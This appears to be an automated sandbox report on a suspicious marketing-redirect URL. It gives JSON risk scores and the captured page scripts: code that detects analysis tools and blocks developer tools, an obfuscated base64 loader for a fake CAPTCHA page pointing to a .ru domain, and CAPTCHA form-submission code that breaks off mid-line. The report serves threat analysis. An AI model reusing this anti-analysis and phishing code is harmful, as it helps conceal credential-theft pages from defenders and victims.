Windows Analysis Report
http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: http://recp.mkt81.net

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including disabling common developer tools and keyboard shortcuts, as well as redirecting the user to an external domain. The use of `debugger` statements and interval-based checks for performance timing suggest an attempt to detect and potentially bypass security measures. Overall, this script demonstrates a high level of malicious intent and should be considered a significant security risk."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
xocFQsWFyT = false;
(function kKdBHLwpjP() {
    let YubOAUsfCm = false;
    const gWRmLKagDq = 100;
    setInterval(function() {
        const KNnHffingB = performance.now();
        debugger;
        const qOfDUNFqlV = performance.now();
        if (qOfDUNFqlV - KNnHffingB > gWRmLKagDq && !YubOAUsfCm) {
            xocFQsWFyT = true;
            YubOAUsfCm = true;
            window.location.replace('https://www.office.com');
        }
    }, 100);
})();
    

{
    "risk_score": 6,
    "reasoning": "The provided JavaScript snippet exhibits several behaviors that raise moderate security concerns. It uses base64 encoding to obfuscate a URL, which could potentially be used to redirect users to a malicious domain. Additionally, the script dynamically generates and writes HTML content to the page, which could be used to inject malicious code. While the intent is not entirely clear, the combination of obfuscation and dynamic content manipulation warrants further investigation to determine the true purpose of the script."
}

/* Success is not in what you have, but who you are. */
if(atob("aHR0cHM6Ly9EVmEuZGdraWZ5cm9uLnJ1L25jbjYv") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQptYXJnaW46IDA7DQpwYWRkaW5nOiAwOw0KaGVpZ2h0OiAxMDAlOw0Kb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCg0KLmJhY2tncm91bmQtY29udGFpbmVyIHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyOjpiZWZvcmUgew0KICAgIGNvbnRlbnQ6ICIiOw0KICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICB0b3A6IDA7DQogICAgbGVmdDogMDsNCiAgICByaWdodDogMDsNCiAgICBib3R0b206IDA7DQogICAgei1pbmRleDogLTE7DQp9DQouY29udGVudCB7DQogICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgIHotaW5kZXg6IDE7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGhlaWdodDogMTAwJTsNCiAgICBjb2xvcjogd2hpdGU7DQogICAgZm9udC1zaXplOiAyNHB4Ow0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5jYXB0Y2hhLWJveCB7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOw0KICAgIHBhZGRpbmc6IDEwcHg7DQogICAgd2lkdGg6IDMwMHB4Ow0KICAgIG1hcmdpbjogMjBweCBhdXRvOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggew0KICAgIGRpc3BsYXk6IGZsZXg7DQogICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IGlucHV0W3R5cGU9ImNoZWNrYm94Il0gew0KICAgIGRpc3BsYXk6IG5vbmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IGxhYmVsIHsNCiAgICBkaXNwbGF5OiBmbGV4Ow0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgY3Vyc29yOiBwb2ludGVyOw0KfQ0KDQouY2FwdGNoYS1jaGVja21hcmsgew0KICAgIHdpZHRoOiAyMHB4Ow0KICAgIGhlaWdodDogMjBweDsNCiAgICBib3JkZXI6IDJweCBzb2xpZCAjZDNkM2QzOw0KICAgIGJvcmRlci1yYWRpdXM6IDNweDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOw0KICAgIG1hcmdpbi1yaWdodDogMTBweDsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IGlucHV0W3R5cGU9ImNoZWNrYm94Il06Y2hlY2tlZCArIGxhYmVsIC5jYXB0Y2hhLWNoZWNrbWFyazo6YWZ0ZXIgew0KICAgIGNvbnRlbnQ6ICIiOw0KICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICBsZWZ0OiA1cHg7DQogICAgdG9wOiAxcHg7DQogICAgd2lkdGg6IDZweDsNCiAgICBoZWlnaHQ6IDEycHg7DQogICAgYm9yZGVyOiBzb2xpZCAjNGNhZjUwOw0KICAgIGJvcmRlci13aWR0aDogMCAzcHggM3B4IDA7DQogICAgdHJhbnNmb3JtOiByb3RhdGUoNDVkZWcpOw0KfQ0KDQouY2FwdGNoYS10ZXh0IHsNCiAgICBmb250LWZhbWlseTogQXJpYWwsIHNhbnMtc2VyaWY7DQogICAgZm9udC1zaXplOiAxNHB4Ow0KICAgIGNvbG9yOiAjMzMzOw0KfQ0KDQouY2FwdGNoYS1sb2dvIGltZyB7DQogICAgaGVpZ2h0OiA0OHB4Ow0KfQ0KDQoNCkBrZXlmcmFtZXMgc3BpbiB7DQogICAgMCUgeyB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsgfQ0KICAgIDEwMCUgeyB0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpOyB9DQp9DQoNCi5jYXB0Y2hhLW91dGVyYm94Y29udGVudCB7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOw0KICAgIGJvcmRlcjogMXB4IHNvbGlkICNkM2QzZDM7DQogICAgcGFkZGluZzogMTBweDsNCiAgICB3aWR0aDogMzAwcHg7DQogICAgbWFyZ2luOiAyMHB4IGF1dG87DQogICAgYm9yZGVyLXJhZGl1czogNHB4Ow0KICAgIGJveC1zaGFkb3c6IDBweCAycHggNHB4IHJnYmEoMCwgMCwgMCwgMC4yKTsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNvbnRlbnQgew0KICAgIGRpc3BsYXk6IG5vbmU7DQogICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICB3aWR0aDogMTAwJTsNCiAgICBtYXJnaW4tdG9wOiAxMHB4Ow0KfQ0KDQouY2FwdGNoYS1jb250ZW50IGltZyB7DQogICAgd2lkdGg6IDEwMCU7DQogICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCn0NCg0KLmNhcHRjaGEtY29udGVudCBpbnB1dCB7DQogICAgd2lkdGg6IGNhbGMoMTAwJSAtIDIwcHgpOw0KICAgIHBhZGRpbmc6IDVweDsNCiAgI

{
    "risk_score": 3,
    "reasoning": "The provided JavaScript code appears to be a CAPTCHA implementation with some basic security measures. It generates a simple arithmetic CAPTCHA challenge, validates the user's input, and sends the Turnstile token along with the form data. While the code uses some outdated practices like `XDomainRequest`, it does not exhibit any high-risk behaviors and seems to be focused on legitimate functionality. The overall risk is low, with some room for improvement in terms of modern security practices."
}

var cltoken = null;
function isNumber(evt) {
  var charCode = (evt.which) ? evt.which : evt.keyCode
  if (charCode > 31 && (charCode < 48 || charCode > 57))
    return false;
  return true;
}
var anwser;


document.addEventListener("DOMContentLoaded", function() {
    document.getElementById("captchaSubmitButton").addEventListener("click", gsmVSasRoe);        
    document.getElementById("captchaInput").addEventListener("keydown", function(event) {
        if (event.key === "Enter") {
            gsmVSasRoe();
        }
    });
});

const canvas = document.getElementById("captchaCanvas");
const ctx = canvas.getContext("2d");

function getRandomInt(min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
}

function drawRandomLines(ctx, lineCount) {
    for (let i = 0; i < lineCount; i++) {
        ctx.beginPath();
        ctx.moveTo(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height));
        ctx.lineTo(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height));
        ctx.strokeStyle = `rgba(${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, 0.7)`;
        ctx.lineWidth = getRandomInt(1, 3);
        ctx.stroke();
    }
}

function drawRandomDots(ctx, dotCount) {
    for (let i = 0; i < dotCount; i++) {
        ctx.beginPath();
        ctx.arc(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height), getRandomInt(1, 3), 0, Math.PI * 2);
        ctx.fillStyle = `rgba(${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, 0.5)`;
        ctx.fill();
    }
}

function drawRandomEllipses(ctx, ellipseCount) {
    for (let i = 0; i < ellipseCount; i++) {
        ctx.beginPath();
        ctx.ellipse(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height), getRandomInt(20, 40), getRandomInt(10, 20), Math.PI / 4, 0, 2 * Math.PI);
        ctx.strokeStyle = `rgba(${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, 0.6)`;
        ctx.lineWidth = 1;
        ctx.stroke();
    }
}

function drawCaptchaText(ctx) {
    const num1 = getRandomInt(1, 9);
    const num2 = getRandomInt(1, 9);
    const captchaText = `${num1} + ${num2}`;
    ctx.font = "40px Arial";
    ctx.fillStyle = "black";
    anwser = num1+num2;
    ctx.fillText(captchaText, canvas.width / 2 - ctx.measureText(captchaText).width / 2, canvas.height / 2 + 15);
}

function drawCaptcha() {
    ctx.clearRect(0, 0, canvas.width, canvas.height);
    ctx.fillStyle = "#ffffff";
    ctx.fillRect(0, 0, canvas.width, canvas.height);
    drawRandomLines(ctx, 10);
    drawRandomEllipses(ctx, 3);
    drawRandomDots(ctx, 100);
    drawCaptchaText(ctx);
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAA0qv3MB2HiD-Mp6',
    'error-callback': qmWHPGwGta,
    callback: NFflSfFbjN,
});
function qmWHPGwGta() {
    turnstile.reset();
}
function NFflSfFbjN(token) {
    cltoken = token;
    setTimeout(function(){
    document.querySelector(".captcha-checkbox").style.display = "none";
    drawCaptcha();
    document.querySelector(".captcha-outerboxcontent").style.display = "flex";
    document.querySelector(".captcha-content").style.display = "flex";
    }, 2000);
}
function gsmVSasRoe() {
var csa = document.getElementById("captchaInput").value;
if(csa == ""){
document.getElementById("captchaanwsererr").innerText = "Anwser is required";
document.getElementById("captchaanwsererr").style.display = "block";
}
if(csa !== ""){
if(csa !== anwser){
document.getElementById("captchaanwsererr").innerText = "Wrong Anwser";
document.getElementById("captchaanwsererr").style.display = "block";
}
if(csa == anwser){
document.getElementById("captchaanwsererr").style.display = "none";
var mmJZSBzmrf = document.getElementById("vdnoUEWEDo");
mmJZSBzmrf.onsubmit = function (event) {
    event.preventDefault();
};
document.getElementById("pagelink").value = 'tvFph';
let formdata = new FormData(mmJZSBzmrf);
formdata.append("cf-turnstile-response", cltoken);
document.querySelector(".captcha-outerboxcontent").style.disp

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Cloudflare"
  ]
}